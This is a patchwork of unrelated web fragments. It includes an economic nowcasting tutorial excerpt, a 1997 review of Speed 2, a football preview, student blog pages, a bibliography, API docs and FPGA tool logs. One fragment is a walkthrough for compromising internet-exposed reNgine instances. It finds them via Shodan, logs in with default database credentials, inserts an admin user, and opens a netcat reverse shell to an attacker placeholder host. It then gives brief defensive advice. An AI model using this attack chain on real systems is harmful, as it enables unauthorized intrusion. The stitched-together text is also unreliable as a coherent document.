PCE 1.74 -1.48 0.26
2017-04 CPI 2.00 -0.29 1.72
PCE 1.72 -0.17 1.55
News from updated observations:
===================================================================
update date updated variable observed forecast (prev) news
-------------------------------------------------------------------
2017-02 CPI 2.24 2.19 0.05
PCE 1.79 1.83 -0.04
2017-03 CPI -0.44 2.04 -2.48
===================================================================
Because we have multiple variables, by default the summary only shows the news from updated data along and the total impacts.
From the first table, we can see that our updated dataset contains three new data points, with most of the “news” from these data coming from the very low reading in March 2017.
The second table shows that these three datapoints substantially impacted the estimate for PCE in March 2017 (which was not yet observed). This estimate revised down by nearly 1.5 percentage points.
The updated data also impacted the forecasts in the first out-of-sample month, April 2017. After incorporating the new data, the model’s forecasts for CPI and PCE inflation in that month revised down 0.29 and 0.17 percentage point, respectively.
While these tables show the “news” and the total impacts, they do not show how much of each impact was caused by each updated datapoint. To see that information, we need to look at the details tables.
One way to see the details tables is to pass include_details=True
to the summary
method. To avoid repeating the tables above, however, we’ll just call the summary_details
method directly.
[21]:
print(news.summary_details())
Details
======================================================================================================================
update date updated variable observed forecast (prev) impact date impacted variable news weight impact
----------------------------------------------------------------------------------------------------------------------
2017-02 CPI 2.24 2.19 2017-03 CPI 0.05 0.00 0
PCE 0.05 0.00 0
2017-04 CPI 0.05 0.18 0.01
PCE 0.05 0.11 0.01
PCE 1.79 1.83 CPI -0.04 0.00 0
PCE -0.04 0.00 0
2017-03 CPI -0.44 2.04 2017-03 CPI -2.48 1.00 -2.48
PCE -2.48 0.60 -1.48
2017-04 CPI -2.48 0.12 -0.29
PCE -2.48 0.07 -0.18
======================================================================================================================
This table shows that most of the revisions to the estimate of PCE in April 2017, described above, came from the news associated with the CPI release in March 2017. By contrast, the CPI release in February had only a little effect on the April forecast, and the PCE release in February had essentially no effect.
Bibliography¶
Bańbura, Marta, Domenico Giannone, and Lucrezia Reichlin. “Nowcasting.” The Oxford Handbook of Economic Forecasting. July 8, 2011.
Bańbura, Marta, Domenico Giannone, Michele Modugno, and Lucrezia Reichlin. “Now-casting and the real-time data flow.” In Handbook of economic forecasting, vol. 2, pp. 195-237. Elsevier, 2013.
Bańbura, Marta, and Michele Modugno. “Maximum likelihood estimation of factor models on datasets with arbitrary pattern of missing data.” Journal of Applied Econometrics 29, no. 1 (2014): 133-160.
Knotek, Edward S., and Saeed Zaman. “Nowcasting US headline and core inflation.” Journal of Money, Credit and Banking 49, no. 5 (2017): 931-968.


Blog
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{% endfor %}Fahman vs Ghaltan
Release Planning
June 18, 2018
Managing Product Backlog
April 28, 2018
Amount of Details in User Story
April 21, 2018
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{{ post.date | date: "%B %e, %Y" }}
{% endfor %}June 18, 2018
April 28, 2018
April 21, 2018


SPEED 2: CRUISE CONTROL A film review by James Berardinelli Copyright 1997 James Berardinelli
RATING (0 TO 10): 3.5 Alternative Scale: *1/2 out of ****
United States, 1997 U.S. Release Date: 6/13/97 (wide) Running Length: 2:05 MPAA Classification: PG-13 (Violence, profanity) Theatrical Aspect Ratio: 2.35:1
Cast: Sandra Bullock, Jason Patric, Willem Dafoe, Temuera Morrison, Brian McCardie, Christine Firkins, Royale Watkins Director: Jan de Bont Producers: Jan de Bont, Steve Perry, and Michael Peyser Screenplay: Randall McCormick and Jeff Nathanson based on a story by Jan de Bont and Randall McCormick Cinematography: Jack N. Green Music: Mark Mancina U.S. Distributor: 20th Century Fox
If there was ever an action movie that didn't warrant a sequel, it's SPEED. However, the film grossed enough money to be numbered among the big summer hits of 1994, and the unfortunate result is this film, which reunites director Jan de Bont with leading lady Sandra Bullock, while leaving Keanu Reeves somewhere safe and dry, "working on his music" with his band, Dogstar. Considering the dubious quality of the final product, this may be the wisest decision of the young actor's career. SPEED 2 can be numbered among the worst second chapters ever made.
The original SPEED was an entertaining jolt of pure adrenaline that took everyone by surprise. De Bont was an instant success and Bullock became a hot commodity. It was almost inevitable that any sequel, no matter how thrilling, would be a letdown. What no one anticipated was how sharply the downturn would be. Not only is SPEED 2 missing the first movie's main character, but the excitement seems to have departed with him.
This time around, Keanu Reeves' Jack Traven has been replaced by Jason Patric's Alex Shaw. For the most part, they're the same person (it shouldn't surprise anyone to learn that Alex was originally written as Jack), and their function is identical. The highest paid member of the cast, Sandra Bullock, is back as Annie. Now, having broken up with Jack, she's in the midst of a long-term relationship with Alex. Things are a little rocky between them, so Alex comes up with a solution: a romantic cruise to the Caribbean on the SEABOURN LEGEND. However, just like John McLane in the DIE HARD series, Annie is about to find herself in the wrong place at the wrong time. Also aboard the SEABOURN LEGEND is a mentally-unstable computer genius named John Geiger (played without any panache by Willem Dafoe) who intends to take over the ship, crank the engines up to full power, and crash it into something very big.
SPEED 2 is a classic example of "sound and fury, signifying nothing." Only, in this case, that "nothing" isn't bolstered by the high-energy tension and tremendous special effects of de Bont's previous excursion, TWISTER. SPEED 2 is lackluster -- the plot methodically drives the film from one action set-piece to another, and the visuals are merely adequate. In fact, the only real thrill offered by SPEED 2 comes during the bloated movie's final half-hour (as the ship's collision course becomes apparent). By then, it's too little, too late.
The original SPEED was frantically paced and featured a number of individuals that, in spite of their two-dimensionality, were likable and exhibited human characteristics. We felt like we were trapped on the bus with them. This time, the pace and characters are mechanical, and it doesn't seem as if we're actually on board the endangered cruise ship. Instead, we're watching form a detached vantage point, noticing details that we're not supposed to be paying attention to (like what kind of lighting best highlights Bullock's features) or waiting in vain for someone to break into a chorus of "The Love Boat."
Jason Patric has one mode: serious. The actor, who is best suited to introspective, brooding roles (as in THE JOURNEY OF AUGUST KING), treats this ridiculous screenplay like it's WAR AND PEACE. There's no sense of fun or goofiness. I never thought I would admit to missing Reeves, but that's the situation here -- at least he understood the right tone to adopt. Meanwhile, Bullock plays the same part the same way (albeit for a lot more money) -- she looks cute, gets involved in a couple of action scenes, and is taken hostage. But she and Patric never click; their chemistry is glacial.
Since Dennis Hopper's Howard Payne was decapitated at the end of SPEED, the sequel needs a new villain. Enter Willem Dafoe, who's usually a good psycho. Not here, though. Geiger has no manic energy, and Dafoe doesn't seem particularly excited to be playing him. SPEED 2 is the kind of film that demands a strong opponent, but Geiger isn't it. Meanwhile, there are a few interesting cameos: Tim Conway and Bo Svenson have small parts, and SPEED veterans Joe Morton and Glenn Plummer are on hand for a couple of scenes.
Watching SPEED 2, I felt embarrassed for everyone involved. Sure, they're all being well-paid, but no one wants a $120 million flop on their resume. And, once the word gets out about how disappointing this movie is, crowds will dwindle. There are enough action alternatives out there to sate the public's summer appetite. Someone should have recognized what an appropriate metaphor the climactic sequence (which features massive destruction) is for the entire film. SPEED 2 appears headed for a box office disaster of titanic proportions. Creatively and entertainment-wise, it's already sunk.
- James Berardinelli e-mail<EMAIL_ADDRESS>ReelViews web site: http://www.cybernex.net/~berardin
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ESPN Releases Final Prediction For Today’s Iowa-Nebraska Game
by Chris RosvoglouAlthough neither team has a chance to clinch a spot in the Big Ten Championship this season, there’s a lot at stake for today’s Iowa-Nebraska game.
Iowa is seeking its second-straight season with at least nine wins. Kirk Ferentz continues to lead one of the best defenses in football, which only surrenders 12.2 points per game.
Nebraska started the season with a 4-2 record, but Scott Frost’s squad has struggled down the stretch. However, the Cornhuskers are coming off an impressive 52-7 win over the Maryland Terrapins.
The Cornhuskers haven’t been great on defense this season, yet the offense has put up prolific numbers this season. Adrian Martinez will need to play his best football of the year in order to pick up the win.
Not only is Nebraska looking for its first win over Iowa in over four years, the program is hoping to be bowl eligible for the first time since 2017.
Judging off ESPN’s final prediction, it appears the Cornhuskers may have to wait another year to make a postseason appearance.
According to the Football Power Index, Iowa has a 70.3 percent chance of defeating Nebraska this afternoon.
Kickoff for this game is at 2:30 p.m. ET from Memorial Stadium.
Fans can watch this game on the Big Ten Network.


was the 1st first project our class worked on, it's a very basic, very simple, static HTML webpage.
was the 2nd project our class worked on, it was another very basic, very simple, static HTML webpage.
was the 3rd project our class worked on, this project was made to help us furhter understand basic HTML styling options.
was the 4th project our class worked on, it's a


When dealing with people, remember you are not dealing with creatures of logic, but with creatures of emotion.
--Dale Carnegie
You cannot truly listen to anyone and do anything else at the same time.
--M,. Scott Peck, Psychologist, Author “The Road Less Travelled”
project managers interested in growing their project management and leadership abilities should invest in emotional intelligence. Specifically they should develop their ability to use their emotions to facilitate thinking, understand emotional meanings, in empathy, and in their overall level of emotional intelligence. These were shown to be linked to the PM competencies of teamwork, managing conflict, and attentiveness
-- Emotional Intelligence for Project Managers, Anthony Mersino


Travel Companion

      Online chatbot which helps travellers to ask queries of Nepal.
Contents
- Introduction
- Methodology
- What is my idea?
- How it's related to the tourism theme?
- Conclusion
Introduction
A chatbot is a program designed to simulate human conversation using artificial intelligence.
Travel companion will do conversation with the traveller and feed their quries related to the Nepal like finding locations,hotels etc.
Methodology
- Using python as PL
- Mostly using TensorFlow Libraries(ML,NLP)
- Scrapy
- Server
My Idea
using NLP I am want to make the travel Companion chatbot which will interact with the traveller and help to find the
destination.
Tourism theme
It will help to say more about our country and also helps to grow the business of Nepal.


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Blog 14
Published on Oct 10, 2020
Download Windows 10 to USB
Step 1 download Windows 10
Download
Step 2 instal


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觅之，自有所获。


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reNgine is an automated reconnaissance framework for web applications. By default, it
uses port 443
for the graphical user interface and port 5432
for database. The default
configuration for the database is set on an .env file in the project. This means if anyone does not modify default
passwords and expose the port, we can achieve a reverse shell. This is how it works:
- Find a reNgine instance with port
5432
open. - Try to access reNgine database with default password.
- If successful, add a user and login to reNgine.
- Use one of the many intended features to get shell access to the container.
Let's perform a Shodan search. We discover 500+ instances of reNgine installed on VPS and many of them have port 5432 open.
Let's perform an Nmap scan to verify that the port is open. And yes, we find that the port is indeed open.
Now, it is time to test if they are using the default credentials. So, we try to
connect to the database with the default credential and we succeed. Now?
The database has all the information you see on the reNgine dashboard, stored in
different tables. Among the tables is auth_user
table which stores the login
credentials for reNgine. If we view the data in the table, we can see useful information such as username and
password that provides access to the reNgine dashboard. However, the password is encrypted.
As reNgine is an open source project, we know how the hashing works here and maybe we can try to use rainbow tables to crack the password. But, we also have a better option. We can insert a new login credentials into the table and use that to login instead of spending time on cracking the existing password. Let's add a user named 'info' with password 'qazwsx' which is encrypted using the same hashing algorithm that the reNgine uses.
If we see the data from the table again, we can see a new user has been added with highest level of privileges. Now, we can login to the reNgine dashboard with the new credentials.
Can we do more? Yes, we can. We can use one of the intended feature of reNgine to get shell access to the container. The feature we are leveraging here is the "Tools Arsenal" section. We can add a custom tool in reNgine and give commands to execute. We add a custom tool with the following line in the update command:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ATTACKER_IP> <ATTACKER PORT> >/tmp/fThen, listen for an incoming connection and click on "Check Update" button for the custom tool. We have a shell access now. This in itself is not a vulnerability in reNgine but an intended feature. Here is a walkthrough video to get the reverse shell.
Recommendations
- Do not use default passwords.
- Do not expose unnecessary ports to the internet.


Hour angle and declination to zenith distance
(double precision).
CALL:
D = sla_ZD (HA, DEC, PHI)
GIVEN:
HA
D
hour angle in radians
DEC
D
declination in radians
PHI
D
latitude in radians
RETURNED:
sla_ZD
D
zenith distance (radians, )
NOTES:
1.
The latitude must be geodetic. In critical applications,
corrections for polar motion should be applied (see sla_POLMO).
2.
In some applications it will be important to specify the
correct type of hour angle and declination in order to
produce the required type
of zenith distance. In particular, it may be
important to distinguish between the zenith distance
as affected by refraction, which would require the
observed , and the zenith distance in vacuo,
which would require the topocentric . If
the effects of diurnal aberration can be neglected, the
apparent may be used instead of the
topocentric .
3.
No range checking of arguments is done.
4.
In applications which involve many zenith distance calculations,
rather than calling the present routine it will be more
efficient to use inline code, having previously computed fixed
terms such as sine and cosine of latitude, and perhaps sine and
cosine of declination.


Cultural Blog Week 9
Q's, July 13, 2014
Technical Blog Week 8
Big O, July 6, 2014
Cultural Blog Week 8
Conflict, July 6, 2014
Technical Blog Week 7
Injection Attacks, June 29, 2014
Cultural Blog Week 7
Values, June 29, 2014
Technical Blog Week 6
Class Methods, June 22, 2014
Cultural Blog Week 6
Stereotype Threat, June 22, 2014
Technical Blog Week 5
Programming with Classes, June 15, 2014
Cultural Blog Week 5
Peer Programming, June 15, 2014
Technical Blog Week 4
Ruby Built-in Methods: Enumerable#map, June 8, 2014
Cultural Blog Week 4
Privacy & Security, June 8, 2014
Technical Blog Week 3
JavaScript, June 1, 2014
Cultural Blog Week 3
Thinking Style, June 1, 2014
Technical Blog Week 2
CSS: Display Inline and Inline Blocks, May 25, 2014
Technical Blog Week 1
Favorite Sites, May 18, 2014
Cultural Blog Week 1
Fireside Chat, May 18, 2014


Vocabulary Development by Convention
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-
Abburu, S. (2012).
A survey on ontology reasoners and comparison.
International Journal of Computer Applications, 57(17):33-39.
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-
Auer, S. and Herre, H. (2007).
Rapidowl—an agile knowledge engineering methodology.
In Perspectives of systems informatics, pages 424-430.
Springer.
- Baclawski et al., 2002
-
Baclawski, K., Kokar, M. M., Waldinger, R., and Kogut, P. A. (2002).
Consistency checking of semantic web ontologies.
In The Semantic Web—ISWC 2002, pages 454-459. Springer.
- Baker et al., 2013
-
Baker, T., Bechhofer, S., Isaac, A., Miles, A., Schreiber, G., and Summers, E.
(2013).
Key choices in the design of simple knowledge organization system
(skos).
Web Semantics: Science, Services and Agents on the World Wide
Web, 20:35-49.
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-
Berners-Lee, T., Fischetti, M., and Foreword By-Dertouzos, M. L. (2000).
Weaving the Web: The original design and ultimate destiny of the
World Wide Web by its inventor.
HarperInformation.
- Bizer et al., 2009
-
Bizer, C., Heath, T., and Berners-Lee, T. (2009).
Linked data-the story so far.
Semantic Services, Interoperability and Web Applications:
Emerging Concepts, pages 205-227.
- Di Maio, 2011
-
Di Maio, P. (2011).
'just enough'ontology engineering.
In Int. Conf. on Web Intelligence, Mining and Semantics,
page 8. ACM.
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Dodds, L. and Davis, I. (2011).
Linked data patterns.
Online: http://patterns.dataincubator.org/book.
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d’Aquin, M., Haase, P., Rudolph, S., Euzenat, J., Zimmermann, A., Dzbor, M.,
Iglesias, M., Jacques, Y., Caracciolo, C., Aranda, C. B., et al. (2008).
Neon formalisms for modularization: Syntax, semantics, algebra.
Deliverable D1, 1.
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Gómez-Pérez, A., Fernández-López, M., and Corcho, O. (2006).
Ontological Engineering: with examples from the areas of
Knowledge Management, e-Commerce and the Semantic Web.
Springer Science & Business Media.
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-
Gracia, J., Montiel-Ponsoda, E., Cimiano, P., Gómez-Pérez, A.,
Buitelaar, P., and McCrae, J. (2012).
Challenges for the multilingual web of data.
Web Semantics: Science, Services and Agents on the World Wide
Web, 11:63-71.
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-
Haslhofer, B., Martins, F., and Magalhães, J. (2013).
Using skos vocabularies for improving web search.
In 22nd international conference on World Wide Web companion,
pages 1253-1258. International World Wide Web Conferences Steering
Committee.
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Heath, T. and Bizer, C. (2011).
Linked data: Evolving the web into a global data space.
Synthesis lectures on the semantic web: theory and technology,
1(1):1-136.
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Jansen, L. and Schulz, S. (2011).
The ten commandments of ontological engineering.
In 3rd Workshop of Ontologies in Biomedicine and Life Sciences.
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Kalliamvakou, E., Damian, D., Blincoe, K., Singer, L., and German, D. (2015).
Open source-style collaborative development practices in commercial
projects using github.
In 37th Int. Conf. on Software Engineering (ICSE’15).
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Kezadri, M. and Pantel, M. (2010).
First steps toward a verification and validation ontology.
In KEOD, pages 440-444.
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Manaf, N. A. A., Bechhofer, S., and Stevens, R. (2012).
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Montiel-Ponsoda, E., Vila Suero, D., Villazón-Terrazas, B., Dunsire, G.,
Escolano Rodríguez, E., and Gómez-Pérez, A. (2011).
Style guidelines for naming and labeling ontologies in the
multilingual web.
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-
Pedrinaci, C., Cardoso, J., and Leidig, T. (2014).
Linked usdl: a vocabulary for web-scale service trading.
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-
Peroni, S., Shotton, D., and Vitali, F. (2013).
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Pinto, H. S., Staab, S., and Tempich, C. (2004).
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Poveda-Villalón, M. (2012).
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Poveda-Villalón, M., Suárez-Figueroa, M. C., and Gómez-Pérez,
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Validating ontologies with oops!
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-
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-
Schober, D., Tudose, I., Svatek, V., and Boeker, M. (2012).
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-
Sirin, E., Grau, B. C., and Parsia, B. (2006).
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-
Suárez-Figueroa, M. C. (2010).
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-
Suarez-Figueroa, M. C., Gómez-Pérez, A., and Fernandez-Lopez, M.
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-
Svátek, V., Šváb-Zamazal, O., and Presutti, V. (2009).
Ontology naming pattern sauce for (human and computer) gourmets.
In Workshop on Ontology Patterns, pages 171-178.
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-
Yu, J., Thom, J. A., and Tam, A. (2009).
Requirements-oriented methodology for evaluating ontologies.
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-
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lavdim
2015-08-12


gbvision.finders package¶
Submodules¶
gbvision.finders.circle_finder module¶
-
class
gbvision.finders.circle_finder.
CircleFinder
(threshold_func, game_object, contour_min_area=0)¶ Bases:
gbvision.finders.object_finder.ObjectFinder
finds a circular shaped object, like a ball or a disk
gbvision.finders.object_finder module¶
-
class
gbvision.finders.object_finder.
ObjectFinder
(threshold_func, game_object: gbvision.utils.game_object.GameObject)¶ Bases:
object
this is an abstract class that represents an object finder an object finder is a type that outputs an object’s 3d real location based on an of it image it’s GameObject real-life parameters
gbvision.finders.polygon_finder module¶
-
class
gbvision.finders.polygon_finder.
PolygonFinder
(threshold_func, game_object, area_scalar=1.0, contour_min_area=0)¶ Bases:
gbvision.finders.object_finder.ObjectFinder
finds any generic polygon, not recommended when another finder can be used
gbvision.finders.rect_finder module¶
-
class
gbvision.finders.rect_finder.
RectFinder
(threshold_func, game_object, area_scalar=1.0, contour_min_area=0)¶ Bases:
gbvision.finders.object_finder.ObjectFinder
finds a rectangular shaped object
gbvision.finders.rotated_rect_finder module¶
-
class
gbvision.finders.rotated_rect_finder.
RotatedRectFinder
(threshold_func, game_object, area_scalar=1.0, contour_min_area=3.0)¶ Bases:
gbvision.finders.object_finder.ObjectFinder
finds a rectangular object, but rotated. recommended to use when you know the shape isn’t parallel to the camera
gbvision.finders.target_pair_finder module¶
-
class
gbvision.finders.target_pair_finder.
TargetPairFinder
(threshold_func, game_object, vt_distance=0.2866, enclosing_rect_ratio=0.549, contour_min_area=0)¶ Bases:
gbvision.finders.object_finder.ObjectFinder
finds a pair of vision targets


- Cultural
- I Have Values.
We all have values, here are some of mine.
When I'm feeling the happiest, the proudest, and the most-satisfied in my life the following values come to mind...
Accomplishment. Accountability. Activism. Adventure. Affection. Autonomy. Challenge. Commitment. Community. Competition. Confidence. Control. Creativity. Economic Security. Enthusiasm. Excitement. Freedom. Friendships. Growth. Having a family. Helping others. Honesty. Independence. Influence. Inspiration. Integrity. Knowledge. Leadership. Loyalty. Mentorship. Music. Nature. Peace. Personal development. Pleasure. Quality. Recognition. Responsibility. Romance. Self-respect. Stability. Truth. Volunteering. Wealth. Will-power.
(Phew! That was a lot of feelings.)
In general, I try to live up to these values (ranked 1 - Disagree to 5 - Agree):
Accomplishment: 5. Accountability: 5. Activism: 2. Adventure: 4. Affection: 5. Autonomy: 4. Challenge: 3. Commitment: 4. Community: 3. Competition: 3. Confidence: 5. Control: 3. Creativity: 4. Economic Security: 3. Enthusiasm: 4. Excitement: 4. Freedom: 4. Friendships: 3. Growth: 5. Having a family: 5. Helping others: 4. Honesty: 5. Independence: 4. Influence: 4. Inspiration: 4. Integrity: 5. Knowledge: 4. Leadership: 4. Loyalty: 4. Mentorship: 3. Music: 4. Nature: 4. Peace: 3. Personal development: 3. Pleasure: 4. Quality: 4. Recognition: 5. Responsibility: 4. Romance: 4. Self-respect: 4. Stability: 3. Truth: 4. Volunteering: 2. Wealth: 2. Will-power: 4.
One particular value that has major importance to me is growth. I thrive when I have the chance to progress and develop my personal and professional lives. This specific value, growth, has other values interwoven into it. When these opportunities come along, I feel empowered, challenged, controlled, responsible, independent, and enthusiastic. I feel that my growth is directly effected by my actions, and whether or not I make the most of the opportunity at hand. It feels amazing when I succeed at growing, but it feels really terrible when I fail.
Recognizing Stereotype Threat
The values I feel when I'm the happiest, proudest, and most-satisfied in my life help me overcome stereotype threat because they make me feel affirmed and encouraged to accomplish what I can, and how I can. While I have a competitive nature and drive to my life, I feel I do a good job of keeping it under control and not keep myself from feeling defeated when I fail. I try to redirect my energy when I fail, or am being told I can't do something, from intimidation to creativity. I think creative process can help reaffirm one's self during times of failure and intimidation.
I think another thing that can help reduce the effects of feeling down at DBC is music. I find that music can greatly effect my state of mind, it can inspire and motivate me. Music allows me to go into this safe zone, where I can really focus on what my needs are in the current situation. It takes me away to a new place where I am able to reset myself.


Check which locked files are no longer unassignable
The Turk API tells you if a HIT is unassignable (all assignments
started or submitted), but doesn’t tell you if the individual assignments
are available. So, the best we can do is watch for assignment locks in our
database when HIT.NumberofAssignmentsPending is 0. If it’s >0 but <All,
we don’t know which assignment is improperly locked.
The workaround for this would be to put up only 1 assignment HITs, though
the trade-off there is that you may annoy hi-frequency workers by saying
you have, say, 100 assignments when you only a few.
async = require 'async'
crowdy = require './crowdyturk'
argv = require('yargs')
.boolean('p').alias('p', 'production')
.describe('production', 'Run on production.')
.help('h').alias('h', 'help')
.argv
mturk = crowdy.mturk(argv.production)
mongoose = require 'mongoose'
config = require 'config'
db_server = 'mongodb://' + config.get('db.host') + '/' + config.get('db.name')
mongoose.connect db_server
db = mongoose.connection
TaskSet = require '../models/taskset.js'
main = () ->
async.parallel({
lockedInMongo:getLocked
noPending:getNoPending
}, (err, result)->
if err then console.error(err)


Home Page
Page 1
Page 2
Page 3
Not reload block
This is the Page 1
page 1 page 1 page 1 page 1 page 1 page 1 page 1 page 1 page 1.
Another not reload block


The object of the game is to line up 4 pieces in a row to win.

Be the first player to align 4 gobblets in a row.
The first player to align 4 gobblets in a row wins. The gobblets forming the line do not all have to be the same size and can be lined up vertically, horizontally or diagonally.
Put a new Gobblet on the board or Move one of your gobblets.


– an ERC721 and UDAP Singular Style Asset Wallet
Supports both ERC20 and ERC721 token standards, people can easily manage asset from third party apps, personal assets, debts etc. on blockchain or state channels
umx.art Wallet is an extensible plug-in architecture as well. It supports a large number of third-party apps that generate a wide range of assets.
It provides a programmable UI for third-party applications to develop a complete user experience
Simple asset transfers
Obtain permission to transfer
Redeem tickets
Marketplace
Support multi-sig transactions.
The Join & Reward testing event can be accessed by doing the following activities.
Once finished our activities, please fill out the form. When complete, you will be rewarded the relevant UPX based on the activities you participate in.
How to participate:
How to participate:
TOP AWARDS:


Nasib N.
About
Portfolio
Conatct
Portfolio
The path to possibilities
Imagination
Mixed Reality
Digital Painting
Zen of virtual Reality
Happiness and Peace


Run a Iperf Speed Test
Server:
Client:
Run Test
Test Results
Previous Tests
Time
Server
Client
Result
Iperf Speed Test v0.5 Copyright ©
Trevor Paskett - K7FPV
. Contrib by KE0PSL.


This is a dice calculator for tabletop games.
It can do more than simple d20 rolls, like calculating average damage against a target's AC given a weapon.
Check out the examples.


@import gospeak.core.domain.{Proposal, UserRequest} @import gospeak.web.pages.published.cfps.routes.CfpCtrl @import gospeak.web.utils.UserReq @(invite: UserRequest.ProposalInvite, proposal: Proposal)(implicit req: UserReq[AnyContent])
Hi,
@req.user.name.value has canceled your invitation to speak about @proposal.title.value.
We hope everything is alright, you can propose a new talk at any time ;)
The Gospeak team


Timotheus Kampik
Umeå University
| Functional Programming | Agent-oriented Programming |
| Lisp | Jason |
| ``MEMBER`` function (list) | ``(event, context, body)`` plans |
| ``includes`` functor (array) | ``(intention-condition, body)`` plans |
| Lodash (``_``) | JS-son |
| ES2016 | ??? |


FORGOT PASSWORD
A link to reset the password will be sent to the email address associated with your account
Email address


This repo contains various scripts that I used once or more times. There are not all in the same language and are very specific to one task I had to do in the past.
Fell free to reuse them or inspire yourself to write your own.


pn140603102303 #Start recording tcl command: 6/2/2014 20:04:19 #Project Location: C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign; Project name: section6_FinalDesign prj_project new -name "section6_FinalDesign" -impl "section6_FinalDesign" -dev LCMXO2-7000HE-4FTG256C -synthesis "lse" prj_project save prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sevenseg.v" prj_src add -exclude "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Section6_SM.ldc" prj_src enable "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Section6_SM.ldc" prj_src remove "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Section6_SM.ldc" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Section6_SM.v" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "sevenSeg_tf.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/Section6_Top.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab5_TekBotSM/clock_counter.v" prj_src remove "C:/lscc/diamond/3.1_x64/bin/nt64/Lab5_TekBotSM/clock_counter.v" file copy -force -- "C:/lscc/diamond/3.1_x64/bin/nt64/Lab5_TekBotSM/clock_counter.v" "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/section6_FinalDesign/source" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/section6_FinalDesign/source/clock_counter.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/determineNum.v" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "Sec6_Top_tf.v" prj_run Synthesis -impl section6_FinalDesign -task Lattice_Synthesis prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "determineNum_tf.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "sevenSeg_tf.v" prj_src exclude "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/determineNum_tf.v" prj_src remove "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/determineNum_tf.v" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "sevenSeg_tf.v" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "sevenSeg_tf.v" source "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/hdle_generate_tbtemplate.tcl" prj_src add -simulate_only "determineNum_tf.v" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" #Stop recording: 6/3/2014 10:23:03 pn140604093537 #Start recording tcl command: 6/3/2014 10:23:39 #Project Location: C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign; Project name: section6_FinalDesign prj_project open "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/section6_FinalDesign.ldf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" prj_src add "C:/lscc/diamond/3.1_x64/bin/nt64/Lab6_FinalDesign/sec6sim/sec6sim.spf" 